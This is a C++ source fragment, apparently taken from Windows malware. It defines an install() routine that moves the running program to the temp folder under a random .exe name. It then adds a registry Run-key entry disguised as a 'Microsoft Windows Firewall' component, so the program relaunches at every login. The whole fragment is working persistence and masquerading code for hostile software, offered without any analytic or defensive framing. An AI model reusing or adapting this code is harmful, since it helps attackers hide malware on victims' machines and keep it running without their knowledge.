bool install(){//istall into temp+random filename + pseudorand regname(Microsoft Windows %OS% 
	char Filename[_MAX_PATH +1],pathBuffer[_MAX_PATH+1];
    string install_location,RandName,PseudoRandRegName,temppath;
	int os;

    //wenn jetzt ordner==temp return 0
    GetModulePath(Filename);
	temppath=myGetTempPath();
	GetLongPathName(temppath.c_str(), pathBuffer, MAX_PATH);
	if(!strcmp(Filename,pathBuffer)){
		#if defined DEBUG
		  cout<<"already installed"<<endl;
        #endif
        return 0;
	}   

    install_location+=myGetTempPath();
    install_location+="\\";
    install_location+=RandName=RandomName(4)+".exe";
	GetModuleFileName(NULL, Filename, _MAX_PATH);
	MoveFile(Filename, install_location.c_str());
    PseudoRandRegName="Microsoft Windows ";
	os=OSVersionCheck();
	switch (os){
	   case 4:PseudoRandRegName+="XP ";
	  	    break;
       case 6:PseudoRandRegName+="Vista ";
		    break;
	   case 7:PseudoRandRegName+="7 ";
		    break;
	   case 2003:PseudoRandRegName+="Server 2003 ";
		    break;
	   default: 
              break;
	   }   
	PseudoRandRegName+="Firewall";
	HKEY hkey; 
	RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 

0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);    
	RegSetValueEx(hkey, PseudoRandRegName.c_str(), 0, REG_SZ,(unsigned 

char*)install_location.c_str(), install_location.length()); 
	RegCloseKey(hkey);
	return 0;
}
